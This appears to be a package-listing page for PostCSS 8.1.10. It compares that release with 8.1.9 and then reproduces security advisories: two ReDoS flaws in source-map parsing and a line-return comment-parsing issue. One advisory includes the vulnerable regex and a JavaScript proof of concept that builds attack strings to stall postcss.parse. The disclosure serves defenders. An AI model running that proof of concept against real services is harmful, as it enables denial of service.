PostCSS 8.1.10 represents a minor but potentially impactful update from version 8.1.9 in this popular JavaScript tool for transforming styles with plugins. Both versions share the same core dependencies: nanoid for unique ID generation, colorette for colorful console output, source-map for debugging, and vfile-location for pinpointing file locations within a virtual file system. The license remains MIT, offering developers broad freedom in usage. The consistent repository details and funding information signal a stable and community-backed project. Both versions also feature the same author, Andrey Sitnik.
The small difference of almost 200 bytes on unpacked size may suggests underlying fixes or internal optimizations rather than significant feature additions. The most notable difference lies in the release date, with version 8.1.10 being released two days after 8.1.9, on November 23, 2020. Developers should consider this when deciding whether to upgrade. If they're experiencing any subtle issues or unexpected behavior with 8.1.9, the newer version might contain the resolution. Checking the project's commit history and release notes on GitHub would provide invaluable insight into the specifics of the update. The focus on style transformation via plugins makes PostCSS a powerful asset for modern web development, enabling tasks like vendor prefixing, future CSS syntax adoption, and custom CSS language creation.
All the vulnerabilities related to the version 8.1.10 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.